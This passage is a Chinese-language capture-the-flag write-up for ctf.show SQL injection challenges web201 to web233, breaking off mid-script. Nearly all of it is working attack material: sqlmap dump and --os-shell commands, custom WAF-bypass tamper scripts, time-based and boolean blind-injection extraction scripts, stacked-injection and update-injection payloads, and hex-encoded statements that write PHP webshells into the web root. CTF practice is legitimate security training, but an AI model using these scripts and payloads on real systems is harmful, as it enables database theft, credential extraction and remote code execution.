python sqlmap.py -u "http://cc8db124-5468-4443-9bc1-070ad3aaec8d.challenge.ctf.show/api/?id=1&page=1&limit=10" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns
# 把pass给dump下来即可找到flag
python sqlmap.py -u "http://cc8db124-5468-4443-9bc1-070ad3aaec8d.challenge.ctf.show/api/?id=1&page=1&limit=10" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump

web202

改成POST方式

python sqlmap.py -u "http://cc958326-ca9d-4132-88e3-60b614b797f3.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump --batch

web203

改成PUT方法并且记得更改Content-Type

python sqlmap.py -u "http://e33e4ae1-8bef-4b7d-b592-3db290684d23.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump --batch --headers="Content-Type: text/plain"

web204

添加Cookie

python sqlmap.py -u "http://27d5c675-f147-45cb-b57f-2388cc19da3d.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=e4n6k9ucq0aik0op9oc9ad1b3u;ctfshow=4410fbe56cd70245d52c57b405d569f2"

web205

鉴权

python sqlmap.py -u "http://50c5fc83-2892-4382-ab5f-59a827c78045.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=e4n6k9ucq0aik0op9oc9ad1b3u;ctfshow=4410fbe56cd70245d52c57b405d569f2" --safe-url="http://50c5fc83-2892-4382-ab5f-59a827c78045.challenge.ctf.show/api/getToken.php" --safe-freq=1

web206

加个前缀后缀就行,记得表名列名变了

python sqlmap.py -u "http://e75a3848-836e-4ee1-a262-4573b3a8a34e.challenge.ctf.show/api/index.php" --method=PUT --prefix="')" --suffix="#" --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=c9v7srpall5anm0iu80j0uh3vr;ctfshow=4410fbe56cd70245d52c57b405d569f2;" --safe-url="http://e75a3848-836e-4ee1-a262-4573b3a8a34e.challenge.ctf.show/api/getToken.php" --safe-freq=1

web207

过滤了空格,使用sqlmap自带的tamper即可

python sqlmap.py -u "http://cc9fbf46-0256-48aa-8863-044662e4bac3.challenge.ctf.show/api/index.php" --method=PUT --prefix="')" --suffix="#" --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=67bo7vdpo12g2ae9o48fh4sg8r;" --safe-url="http://cc9fbf46-0256-48aa-8863-044662e4bac3.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment

web208

只过滤了小写的select,而sqlmap默认用的大写,故可以直接用

python sqlmap.py -u "http://87e67c0f-91ee-488a-a719-4359be5fd453.challenge.ctf.show/api/index.php" --method=PUT --prefix="')" --suffix="#" --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=iu086rcmu6ov5b1931b7dnhsmo;" --safe-url="http://87e67c0f-91ee-488a-a719-4359be5fd453.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment

web209

禁用了空格*=,自己写个tamper把空格转%09,然后用自带的equaltolike=LIKE

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Replaces all occurrences of operator equal (' ') with '%09' counterpart

Tested against:
* MySQL 4, 5.0 and 5.5

Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the equal character ('=')
* The LIKE operator is SQL standard. Hence, this tamper script
should work against all (?) databases

>>> tamper('SELECT * FROM users WHERE id=1')
'SELECT%09*%09FROM%09users%09WHERE%09id=1'
"""

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(9)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(9)
continue

retVal += payload[i]

return retVal

然后注入即可

python sqlmap.py -u "http://b444630b-fdaf-42b0-a937-6bedf23552c8.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=qhel3mleaja9g3me4qafpa41m7;" --safe-url="http://b444630b-fdaf-42b0-a937-6bedf23552c8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=spaceto09,equaltolike

web210

有个解密过程

//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

写个tamper进行加密即可

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
"""
To solve ctfshow web210

Tested against:
* MySQL 4, 5.0 and 5.5

>>> tamper('SELECT id FROM users')
'PU1WUk1WMFFVQlNha0JpUlM5VVRnVTNjbEozYw=='
"""
payload = bytes(payload,encoding = "utf8")
retVal = base64.b64encode(base64.b64encode(payload[::-1])[::-1])
retVal = retVal.decode('utf-8')

return retVal

进行注入

python sqlmap.py -u "http://9c8ba351-ef94-4fce-9ab9-d3830183aa80.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=u1sdsf6g3cro8q18mg305dok88;" --safe-url="http://9c8ba351-ef94-4fce-9ab9-d3830183aa80.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshowweb210

web211

在上一关基础上过滤了空格

python sqlmap.py -u "http://9ba42ae2-b5b6-42fb-9a97-3fe76bfad647.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=r203hge81fkks8u8sj6pckeap6;" --safe-url="http://9ba42ae2-b5b6-42fb-9a97-3fe76bfad647.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment,ctfshowweb210

web212

在上一关基础上过滤了*

python sqlmap.py -u "http://1505ab2c-fe52-41e3-9b1f-d94ba6a346e6.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=hu1t6tuqcfu7vmme69i18bojq9;" --safe-url="http://1505ab2c-fe52-41e3-9b1f-d94ba6a346e6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=spaceto09,ctfshowweb210

web213

在最后加上参数--os-shell即可

python sqlmap.py -u "http://cda45164-89a8-403c-bbb8-ff48beb3c89b.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --user-agent=sqlmap --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=6rop5p56jt75lmc41mkvdi0rt1;" --safe-url="http://cda45164-89a8-403c-bbb8-ff48beb3c89b.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=spaceto09,ctfshowweb210 --batch --os-shell

执行cat /ctfshow_flag即可

web214

时间盲注,访问首页抓包可以发现注入点,修改debug=1可以看到sql语句

select id from ctfshow_info where ip = 127.0.0.1

编写脚本即可

#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib


url = "http://074260b2-9b7b-4c5f-a1b9-74b294124195.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
data = {
# 数据库 ctfshow_web
# "ip":f"if((ascii(substr((select database()),{i},1))<{mid}),sleep(3),1)",

# 表名 ctfshow_flagx,ctfshow_info
# "ip":f"if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),sleep(3),1)",

# 列名 id,flaga,info
# "ip":f"if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{mid}),sleep(3),1)",

# ctfshow{0c212089-3b00-4cd9-b24f-2c2ab51a9674}
"ip":f"if((ascii(substr((select group_concat(flaga)from ctfshow_flagx),{i},1))<{mid}),sleep(3),1)",
"debug": "0"
}
try:
response = requests.post(url=url, data=data, timeout=2)
l = mid
except:
r = mid

web215

多了引号包裹

select id from ctfshow_info where ip = '127.0.0.1';

还是二分时间盲注

#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib


url = "http://7dedec9c-cc09-44c5-b69a-f2c187da25e4.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
data = {
# 数据库 ctfshow_web
# "ip":f"'||if((ascii(substr((select database()),{i},1))<{mid}),sleep(3),1)#",

# 表名 ctfshow_flagxc,ctfshow_info
# "ip":f"'||if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),sleep(3),1)#",

# 列名 id,flagaa,info
# "ip":f"'||if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))<{mid}),sleep(3),1)#",

# ctfshow{ddf21244-bda1-4631-8272-8e5fc47275a5}
"ip":f"'||if((ascii(substr((select group_concat(flagaa)from ctfshow_flagxc),{i},1))<{mid}),sleep(3),1)#",
"debug": "0"
}
try:
response = requests.post(url=url, data=data, timeout=2)
l = mid
except:
r = mid

web216

增加了base64

select id from ctfshow_info where ip = from_base64(127.0.0.1);

用括号闭合就好

#encoding: utf-8
import os
import requests
import re
import string
import threading
import urllib


url = "http://5e3ed249-6c2f-4151-9eb4-c2d122870908.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
data = {
# 数据库 ctfshow_web
# "ip":f"0)||if((ascii(substr((select database()),{i},1))<{mid}),sleep(3),1)#",

# 表名 ctfshow_flagxcc,ctfshow_info
# "ip":f"0)||if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),sleep(3),1)#",

# 列名 id,flagaac,info
# "ip":f"0)||if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxcc'),{i},1))<{mid}),sleep(3),1)#",

# ctfshow{3c215bb4-3aab-4149-96fb-ea6c2bbdf49d}
"ip":f"0)||if((ascii(substr((select group_concat(flagaac)from ctfshow_flagxcc),{i},1))<{mid}),sleep(3),1)#",
"debug": "0"
}
try:
response = requests.post(url=url, data=data, timeout=2)
l = mid
except:
r = mid

web217

过滤了sleep,并且需要括号闭合

select id from ctfshow_info where ip = (1);

使用benchmark,运算次数和timeout等要根据具体情况调整(太折磨😥,有好方法也希望教教我)

#encoding: utf-8
import os
import requests
import re
import string
import threading
import time
import urllib


url = "http://59ec0bcc-2aa8-44eb-978b-20e0354ff0a2.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
data = {
# 数据库 ctfshow_web
# "ip":f"0)||if((ascii(substr((select database()),{i},1))<{mid}),benchmark(50000000,'evo1'),1)#",

# 表名 ctfshow_flagxccb,ctfshow_info
# "ip":f"0)||if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),benchmark(150000000,'evo1'),1)#",

# 列名 id,flagaabc,info
# "ip":f"0)||if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1))<{mid}),benchmark(150000000,'evo1'),1)#",

# ctfshow{c8faf32a-fe53-41f0-a7df-560a0971f034}
"ip":f"0)||if((ascii(substr((select group_concat(flagaabc)from ctfshow_flagxccb),{i},1))<{mid}),benchmark(150000000,'evo1'),1)#",
"debug": "0"
}
time.sleep(0.7)
try:
response = requests.post(url=url, data=data, timeout=2)
l = mid
except:
r = mid

也有一些其他方法MySQL时间盲注的五种延时方法实现

web218

benchmark也被禁用了,但是可以使用笛卡尔积

ip=0)||if((ascii(substr((select database()),1,1))<100),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#&debug=1

编写脚本

#encoding: utf-8
import os
import requests
import re
import string
import threading
import time
import urllib


url = "http://eba89dba-b139-4154-b319-62a66a78c3eb.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
data = {
# 数据库 ctfshow_web
# "ip":f"0)||if((ascii(substr((select database()),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",

# 表名 ctfshow_flagxc,ctfshow_info
# "ip":f"0)||if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",

# 列名 id,flagaac,info
# "ip":f"0)||if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",

# ctfshow{5456333f-bac9-48eb-b262-4e1eaf38fe0a}
"ip":f"0)||if((ascii(substr((select group_concat(flagaac)from ctfshow_flagxc),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",
"debug": "0"
}
time.sleep(0.5)
try:
response = requests.post(url=url, data=data, timeout=1)
l = mid
except:
r = mid

也可以利用rlike

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

web219

禁用了rlike,使用笛卡尔积即可

#encoding: utf-8
import os
import requests
import re
import string
import threading
import time
import urllib


url = "http://c27f8fcf-6c42-426b-af89-449cbd4f7769.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
data = {
# 数据库 ctfshow_web
# "ip":f"0)||if((ascii(substr((select database()),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",

# 表名 ctfshow_flagxca,ctfshow_info
# "ip":f"0)||if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",

# 列名 id,flagaabc,info
# "ip":f"0)||if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",

# ctfshow{3adf6005-ec81-4a42-8e06-7adbb42c6c11}
"ip":f"0)||if((ascii(substr((select group_concat(flagaabc)from ctfshow_flagxca),{i},1))<{mid}),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",
"debug": "0"
}
time.sleep(0.5)
try:
response = requests.post(url=url, data=data, timeout=1)
l = mid
except:
r = mid

web220

禁用了一些字符,原来的substr用不了了

function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}

可以直接用left,注意concat被禁用了,借助下limit就好

#encoding: utf-8
import os
import requests
import re
import string
import threading
import time
import urllib

letters = string.ascii_letters + string.digits + '-}{_'

url = "http://35be7a51-5a9f-4590-9d07-9f14166e0779.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
for j in letters:
data = {
# 数据库 ctfshow_web
# "ip":f"0)||if((left((select database()),{i})='{flag+j}'),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",

# 表名 ctfshow_flagxcac
# "ip":f"0)||if((left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i})='{flag+j}'),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",

# 列名 flagaabcc
# "ip":f"0)||if((left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{i})='{flag+j}'),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",

# ctfshow{8e25fbd7-907b-44f6-a6b3-f350261adcce}
"ip":f"0)||if((left((select flagaabcc from ctfshow_flagxcac limit 0,1),{i})='{flag+j}'),(SELECT count(*) FROM(( SELECT table_name FROM information_schema.COLUMNS ) a,( SELECT table_name FROM information_schema.COLUMNS ) b,( SELECT table_name FROM information_schema.COLUMNS limit 1,3 ) c) LIMIT 1),1)#",
"debug": "0"
}
time.sleep(0.5)
try:
response = requests.post(url=url, data=data, timeout=1)
except:
flag += j
print(flag)
break

也可以用rightleft的组合拳,比如right(left(("evo1"),3),1)等效于substr("evo1",3,1),然后用ord替换ascii即可

web221

//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

参考这篇[转载]Mysql下Limit注入方法,版本限制(5.0.0-5.6.6)

/api/?&page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

web222

group by盲注

//分页查询
$sql = select * from ctfshow_user group by $username;

测试后发现参数u返回存在差异

/api/?u=if(2>1,username,0)
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"id":"2","username":"user1","pass":"111"},{"id":"3","username":"user2","pass":"222"},{"id":"4","username":"userAUTO","pass":"passwordAUTO"}]}

/api/?u=if(2<1,username,0)
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"}]}

故可以进行盲注

#encoding: utf-8
import os
import requests
import re
import string
import threading
import time
import urllib

letters = string.ascii_letters + string.digits + '-}{_,'

url = "http://ace49909-4b0b-497d-99b9-a29fd0b2b99a.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
for j in letters:
# 数据库 ctfshow_web
# payload = f"?u=if((left((select database()),{i})='{flag+j}'),username,0)&page=1&limit=10"

# 表 ctfshow_flaga,ctfshow_user
# payload = f"?u=if((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i})='{flag+j}'),username,0)&page=1&limit=10"

# 列 id,flagaabc,info
# payload = f"?u=if((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i})='{flag+j}'),username,0)&page=1&limit=10"

# ctfshow{6eacd2b3-fbf3-44de-8701-f3263fcae9a8}
payload = f"?u=if((left((select group_concat(flagaabc) from ctfshow_flaga),{i})='{flag+j}'),username,0)&page=1&limit=10"
# time.sleep(0.5)
response = requests.get(url=url+payload)
if 'passwordAUTO' in response.text:
flag += j
print(flag)
break

web223

一开始以为是group by报错注入,原理可以看这篇CTF-sql-mysql group by报错注入,但发现还是要盲注,而且要注意过滤了数字(可以用不可见字符的ascii值,也可以拼接true

#encoding: utf-8
import os
import requests
import re
import string
import threading
import time
import urllib

def div(num):
if num < 10:
return f"ascii('%0{num}')"
elif num <100:
return f"concat(ascii('%0{str(num)[0]}'),ascii('%0{str(num)[1]}'))"
else:
return f"concat(ascii('%0{str(num)[0]}'),ascii('%0{str(num)[1]}'),ascii('%0{str(num)[2]}'))"

url = "http://fc374013-4449-4e78-bcab-42593e62a39b.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
#数据库 ctfshow_web
# payload = f"?u=if((ascii(substr((select database()),{div(i)},true))<{div(mid)}),username,false)&page=1&limit=10"

#表名 ctfshow_flagas,ctfshow_user
# payload = f"?u=if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{div(i)},true))<{div(mid)}),username,false)&page=1&limit=10"

#列名 id,flagasabc,info
# payload = f"?u=if((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagas'),{div(i)},true))<{div(mid)}),username,false)&page=1&limit=10"

# ctfshow{057db10a-06b4-47b7-a0a4-3467503fe372}
payload = f"?u=if((ascii(substr((select group_concat(flagasabc)from ctfshow_flagas),{div(i)},true))<{div(mid)}),username,false)&page=1&limit=10"
# time.sleep(0.5)
response = requests.get(url=url+payload)
if 'passwordAUTO' in response.text:
r = mid
else:
l = mid

if flag[-1] == ' ' or flag[-1] == '}':
break

web224

访问/robots.txt发现

User-agent: *
Disallow: /pwdreset.php

访问页面重置管理员密码后登录发现文件上传页面,这个注入比较少见,用群里的payload.bin即可,文件头部有sql注入命令

web224.png

创建了1.php文件

<?=`$_GET[1]`?>

命令执行即可

/1.php?1=cat /flag

下载upload.php源码看了下

<?php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
die("Return Code: " . $_FILES["file"]["error"] . "<br />");
}
if($_FILES["file"]["size"]>10*1024){
die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
}

if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
die("file type error");
}
$filepath = "upload/".$filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
$con = mysqli_connect("localhost","root","root","ctf");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if (mysqli_multi_query($con, $sql)) {
header("location:filelist.php");
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($con);
}

mysqli_close($con);

}

?>

可以看到禁用了很多文件类型

if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
die("file type error");
}

注入点在这里

$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";

我们的语句放进去后会闭合前面的括号,然后堆叠注入写文件

INSERT INTO file(filename,filepath,filetype) VALUES ('filename','filepath','');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+');

web225

查询语句

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回逻辑

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}

可以先看下堆叠注入引发的思考SQL注入随便注(三种姿势)学习下

方法一 Handler

# ctfshow_flagasa
/api/?username=1';show tables;&page=1&limit=10

# flagas
/api/?username=1';show columns from ctfshow_flagasa;&page=1&limit=10

/api/?username=1';HANDLER ctfshow_flagasa OPEN as aaa;HANDLER aaa READ FIRST;&page=1&limit=10
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","flagas":"ctfshow{bc3f1bc6-6ec5-4590-9362-f7610702c891}","info":"you get it"}]}

方法二 预处理

# ctfshow_web
/api/?username=1';PREPARE evo1 from concat('s','elect', ' database()');EXECUTE evo1;&page=1&limit=10

/api/?username=1';PREPARE evo1 from concat('s','elect', ' flagas from ctfshow_flagasa');EXECUTE evo1;&page=1&limit=10

/api/?username=1';PREPARE evo1 from concat(char(115,101,108,101,99,116), ' flagas from ctfshow_flagasa');EXECUTE evo1;&page=1&limit=10

web226

查询语句

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回逻辑

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}

转成十六进制绕过

# select database()
/api/?username=1';PREPARE evo1 from 0x73656c6563742064617461626173652829;EXECUTE evo1;#&page=1&limit=10

# show tables
# ctfsh_ow_flagas
/api/?username=1';PREPARE evo1 from 0x73686f77207461626c6573;EXECUTE evo1;#&page=1&limit=10

# select * from ctfsh_ow_flagas
/api/?username=1';PREPARE evo1 from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE evo1;#&page=1&limit=10

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","flagasb":"ctfshow{dc7176dd-fba9-4665-aebb-7f4c0d2c2cf7}","info":"you get it"}]}

web227

这道题用前面的方法找不到,传个🐎上去看看

# select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php'
/api/?username=1';PREPARE evo1 from 0x73656c65637420273c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f312e70687027;EXECUTE evo1;#&page=1&limit=10

连接数据库记得数据库类型要选MYSQLI,在ROUTINES发现getFlag方法

web227.png

向右翻找在定义处可以找到flag

web227-flag.png

知道地方后其实也可以直接注入了

# select * from information_schema.routines
/api/?username=1';PREPARE evo1 from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;EXECUTE evo1;#&page=1&limit=10

也可以直接调用getFlag

/api/?username=1';call getFlag;

web228-230

web226

web231

查询语句

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

update注入,记得改用post方法

# root@localhost
password=1',username=user() where id=1#&username=1

# ctfshow_web
password=1',username=database() where id=1#&username=1

# banlist,ctfshow_user,flaga
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where id=1#&username=1

# id,flagas,info
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name="flaga") where id=1#&username=1

# ctfshow{29f08a27-226c-4e94-9689-ea06e7c9cd83}
password=1',username=(select flagas from flaga) where id=1#&username=1

web232

改成用')闭合即可,其他步骤同web231

web233

查询语句

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

可以用\逃逸,会把第一个'注释掉,变成下面这种语句

update ctfshow_user set pass = '\' where username = ',username=(select database()) where id=1';

最终payload

# 数据库 ctfshow_web
username=,username=(select database()) where id=1#&password=\

# 表名 banlist,ctfshow_user,flag233333
username=,username=(select group_concat(table_name)from information_schema.tables where table_schema=database()) where id=1#&password=\

# 列名 id,flagass233,info
username=,username=(select group_concat(column_name)from information_schema.columns where table_name='flag233333') where id=1#&password=\

# ctfshow{55536d6e-1dc6-47dc-9a53-51b709ea4c64}
username=,username=(select flagass233 from flag233333) where id=1#&password=\

也可以直接时间盲注

#encoding: utf-8
import requests
import re
import string
import time

url = "http://f920bbce-de8e-4f5a-81e6-2e859b158cad.challenge.ctf.show/api/"

flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
#数据库 ctfshow_web
# payload = f"ascii(substr((select database()),{i},1))<{mid}"

#表名 banlist,ctfshow_user,flag233333
# payload = f"ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{mid}"

#列名 id,flagass233,info
